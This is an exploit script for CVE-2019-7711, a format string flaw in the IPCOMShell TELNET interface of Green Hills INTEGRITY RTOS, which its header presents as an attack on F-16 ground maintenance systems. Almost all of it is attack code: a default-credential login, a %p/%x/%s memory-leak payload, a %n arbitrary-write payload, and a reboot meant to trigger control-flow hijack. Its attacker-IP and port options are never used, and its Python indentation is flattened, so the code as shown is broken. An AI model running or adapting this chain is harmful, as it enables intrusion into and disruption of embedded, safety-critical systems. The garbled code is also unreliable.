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#!/usr/bin/env python3
# Exploit Title: Green Hills INTEGRITY RTOS IPCOMShell TELNET Format String Full Chain - Realistic F-16 Ground Maintenance
# CVE: CVE-2019-7711
# Date: 2026-05-04
# Exploit Author: Mohammed Idrees Banyamer
# Author Country: Jordan
# Instagram: @banyamer_security
# Author GitHub: https://github.com/mbanyamer
# Vendor Homepage: https://www.ghs.com
# Software Link: N/A (Proprietary)
# Affected: Green Hills INTEGRITY RTOS 5.0.4 with Interpeak IPCOMShell - Used in F-16 Block 60 Color Display Processor (CDP) and mission systems
# Tested on: INTEGRITY RTOS 5.0.4 lab simulation (emulating avionics ground test environment)
# Category: Remote (Ground Maintenance)
# Platform: Embedded RTOS - Aerospace (F-16 Avionics)
# Exploit Type: Format String (Leak → Arbitrary Write → Potential Control Flow Hijack)
# CVSS: 6.8 (Medium-High in ground maintenance context)
# CWE : CWE-134 (Use of Externally-Controlled Format String)
# Description: The undocumented "prompt" command in IPCOMShell passes user-controlled input directly to printf(). Enables full format string chain: memory leak to defeat ASLR, %n write primitive to overwrite function pointers/task handlers, then trigger for potential RCE in F-16 avionics during ground maintenance.
# Fixed in: Newer INTEGRITY-178 builds with networking disabled in safety-critical partitions
# Usage:
# python3 exploit.py <target> --lhost <your_ip> --lport <your_port>
#
# Examples:
# python3 exploit.py 192.168.1.100
#
# Options:
# --lhost Attacker IP
# --lport Attacker port
#
# Notes:
# - Realistic ground maintenance scenario only.
# - Requires manual offset analysis after leak.
# - Educational purpose only.
#
# How to Use
#
# Step 1: Run against vulnerable maintenance TELNET interface.
print(r"""
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║ Operator : Mohammed Idrees Banyamer • Jordan 🇯🇴 ║
║ Handle : @banyamer_security ║
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║ Exploit : CVE-2019-7711 ║
║ Target : F-16 INTEGRITY RTOS (Ground Maintenance) ║
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║ Status : ACTIVE ║
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import telnetlib
import time
import argparse
parser = argparse.ArgumentParser(description="CVE-2019-7711 F-16 Ground Maintenance Exploit")
parser.add_argument("target", help="Target IP (F-16 Ground Support Equipment)")
parser.add_argument("--lhost", default="0.0.0.0", help="Attacker IP")
parser.add_argument("--lport", type=int, default=4444, help="Attacker port")
args = parser.parse_args()
HOST = args.target
PORT = 23
print("[*] Realistic Scenario: Attacking F-16 during ground maintenance via test interface")
print("[!] Warning: TELNET usually disabled in real aircraft. Maintenance mode assumed.")
try:
tn = telnetlib.Telnet(HOST, PORT, timeout=20)
print("[+] Connected to IPCOMShell on F-16 maintenance interface")
time.sleep(1.5)
tn.read_until(b"login:", timeout=8)
tn.write(b"admin\r\n")
time.sleep(1)
tn.write(b"password\r\n")
time.sleep(2)
print("\n[+] Phase 1 → Strong Memory Leak")
LEAK_PAYLOAD = "%p." * 50 + "%x." * 40 + "%s." * 20 + "%$p"
tn.write(f"prompt {LEAK_PAYLOAD}\r\n".encode())
tn.write(b"pwd\r\n")
tn.write(b"show tasks\r\n")
tn.write(b"help\r\n")
time.sleep(6)
leak = tn.read_very_eager().decode(errors='ignore')
print("\n" + "="*90)
print("RAW LEAK OUTPUT - ANALYZE MANUALLY")
print("="*90)
print(leak[:4500])
print("="*90)
print("\n[+] Phase 2 → Arbitrary Memory Write (%n)")
WRITE_PAYLOAD = "%2500c%35$n"
tn.write(f"prompt {WRITE_PAYLOAD}\r\n".encode())
tn.write(b"pwd\r\n")
time.sleep(4)
print("\n[+] Phase 3 → Trigger Control Flow Hijack")
tn.write(b"exit\r\n")
tn.write(b"reboot\r\n")
time.sleep(3)
print("[+] Exploit chain completed.")
tn.close()
except Exception as e:
print(f"[-] Error: {e}")